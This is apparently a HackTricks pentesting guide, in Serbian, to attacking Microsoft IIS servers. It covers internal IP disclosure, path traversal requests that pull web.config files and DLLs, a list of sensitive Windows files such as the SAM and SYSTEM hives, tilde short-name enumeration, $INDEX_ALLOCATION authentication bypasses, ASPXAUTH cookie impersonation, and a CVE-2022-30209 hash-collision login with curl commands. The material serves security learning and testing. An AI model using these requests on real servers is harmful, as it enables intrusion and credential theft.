IIS - Internet Information Services

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Testirajte ekstenzije izvršnih datoteka:

  • asp

  • aspx

  • config

  • php

Otkriće interne IP adrese

Na bilo kojem IIS serveru gde dobijete 302, možete pokušati da uklonite Host header i koristite HTTP/1.0, a unutar odgovora Location header može ukazivati na internu IP adresu:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Odgovor koji otkriva unutrašnju IP adresu:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Izvršavanje .config datoteka

Možete učitati .config datoteke i koristiti ih za izvršavanje koda. Jedan od načina da to uradite je dodavanje koda na kraj datoteke unutar HTML komentara: Preuzmite primer ovde

Više informacija i tehnika za iskorišćavanje ove ranjivosti ovde

IIS Otkriće Bruteforce

Preuzmite listu koju sam kreirao:

19KB
iisfinal.txt

Kreirana je spajanjem sadržaja sledećih lista:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Koristite je bez dodavanja ekstenzije, datoteke koje je zahtevaju već je imaju.

Putanja Traversal

Curjenje izvornog koda

Proverite potpuni izveštaj na: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Kao sažetak, postoji nekoliko web.config datoteka unutar foldera aplikacije sa referencama na "assemblyIdentity" datoteke i "namespaces". Sa ovom informacijom je moguće znati gde se nalaze izvršne datoteke i preuzeti ih. Iz preuzetih Dlls je takođe moguće pronaći nove namespaces gde treba pokušati pristupiti i dobiti web.config datoteku kako bi se pronašle nove namespaces i assemblyIdentity. Takođe, datoteke connectionstrings.config i global.asax mogu sadržati zanimljive informacije.\

U .Net MVC aplikacijama, web.config datoteka igra ključnu ulogu tako što specificira svaku binarnu datoteku na kojoj aplikacija zavisi putem "assemblyIdentity" XML oznaka.

Istraživanje Binarnih Datoteka

Primer pristupa web.config datoteci je prikazan u nastavku:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Ovaj zahtev otkriva razne postavke i zavisnosti, kao što su:

  • EntityFramework verzija

  • AppSettings za veb stranice, validaciju klijenata i JavaScript

  • System.web konfiguracije za autentifikaciju i vreme izvršavanja

  • System.webServer podešavanja modula

  • Runtime vezivanja skupova za brojne biblioteke kao što su Microsoft.Owin, Newtonsoft.Json i System.Web.Mvc

Ove postavke ukazuju na to da se određene datoteke, kao što je /bin/WebGrease.dll, nalaze unutar /bin fascikle aplikacije.

Datoteke u korenskom direktorijumu

Datoteke pronađene u korenskom direktorijumu, kao što su /global.asax i /connectionstrings.config (koja sadrži osetljive lozinke), su ključne za konfiguraciju i rad aplikacije.

Namespaces i Web.Config

MVC aplikacije takođe definišu dodatne web.config datoteke za specifične namespaces kako bi se izbegle ponavljajuće deklaracije u svakoj datoteci, kao što je prikazano zahtevom za preuzimanje druge web.config:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Preuzimanje DLL-ova

Pominjanje prilagođenog imenskog prostora ukazuje na DLL pod nazivom "WebApplication1" prisutan u /bin direktorijumu. Nakon toga, prikazan je zahtev za preuzimanje WebApplication1.dll:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Ovo sugeriše prisustvo drugih bitnih DLL-ova, kao što su System.Web.Mvc.dll i System.Web.Optimization.dll, u /bin direktorijumu.

U scenariju gde DLL uvozi prostor imena pod nazivom WebApplication1.Areas.Minded, napadač može da zaključi o postojanju drugih web.config fajlova na predvidivim putanjama, kao što su /area-name/Views/, koji sadrže specifične konfiguracije i reference na druge DLL-ove u /bin folderu. Na primer, zahtev za /Minded/Views/web.config može otkriti konfiguracije i prostore imena koji ukazuju na prisustvo drugog DLL-a, WebApplication1.AdditionalFeatures.dll.

Uobičajeni fajlovi

Sa ovde

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Greška

Ako vidite grešku poput sledeće:

To znači da server nije primio ispravno ime domena unutar Host zaglavlja. Da biste pristupili web stranici, možete pogledati SSL sertifikat i možda ćete tamo pronaći ime domena/subdomena. Ako ga nema, možda ćete morati da brute force VHosts dok ne pronađete ispravno.

Stare IIS ranjivosti koje vredi potražiti

Microsoft IIS tilde karakter “~” Ranjivost/Osobina – Otkriće kratkog imena datoteke/foldera

Možete pokušati da enumerišete foldere i datoteke unutar svakog otkrivenog foldera (čak i ako zahteva osnovnu autentifikaciju) koristeći ovu tehniku. Glavno ograničenje ove tehnike, ako je server ranjiv, je to da može pronaći samo prvih 6 slova imena svake datoteke/foldera i prva 3 slova ekstenzije datoteka.

Možete koristiti https://github.com/irsdl/IIS-ShortName-Scanner da testirate ovu ranjivost:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Originalno istraživanje: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Takođe možete koristiti metasploit: use scanner/http/iis_shortname_scanner

Zaobilaženje osnovne autentifikacije

Zaobiđite osnovnu autentifikaciju (IIS 7.5) pokušavajući da pristupite: /admin:$i30:$INDEX_ALLOCATION/admin.php ili /admin::$INDEX_ALLOCATION/admin.php

Možete pokušati da kombinujete ovu ranjivost i prethodnu da pronađete nove foldere i zaobiđete autentifikaciju.

ASP.NET Trace.AXD omogućeno debagovanje

ASP.NET uključuje režim debagovanja i njegova datoteka se zove trace.axd.

Ona čuva veoma detaljan zapis svih zahteva upućenih aplikaciji tokom određenog vremenskog perioda.

Ove informacije uključuju IP adrese udaljenih klijenata, ID sesija, sve kolačiće zahteva i odgovora, fizičke putanje, informacije o izvoru koda, i potencijalno čak i korisnička imena i lozinke.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTH Kolačić

ASPXAUTH koristi sledeće informacije:

  • validationKey (string): heksadecimalno kodirani ključ za korišćenje u validaciji potpisa.

  • decryptionMethod (string): (podrazumevano “AES”).

  • decryptionIV (string): heksadecimalno kodirani inicijalizacijski vektor (podrazumevano vektor nula).

  • decryptionKey (string): heksadecimalno kodirani ključ za korišćenje u dekripciji.

Međutim, neki ljudi će koristiti podrazumevane vrednosti ovih parametara i koristiće kao kolačić email korisnika. Stoga, ako možete pronaći web sa istom platformom koja koristi ASPXAUTH kolačić i napravite korisnika sa emailom korisnika kojeg želite da imitirate na serveru pod napadom, možda ćete moći da koristite kolačić sa drugog servera na prvom i imitirate korisnika. Ovaj napad je uspeo u ovom izveštaju.

IIS Zaobilaženje autentifikacije sa keširanim lozinkama (CVE-2022-30209)

Potpuni izveštaj ovde: Greška u kodu nije pravilno proverila lozinku koju je dao korisnik, tako da će napadač čija hash lozinka odgovara ključu koji je već u kešu moći da se prijavi kao taj korisnik.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Last updated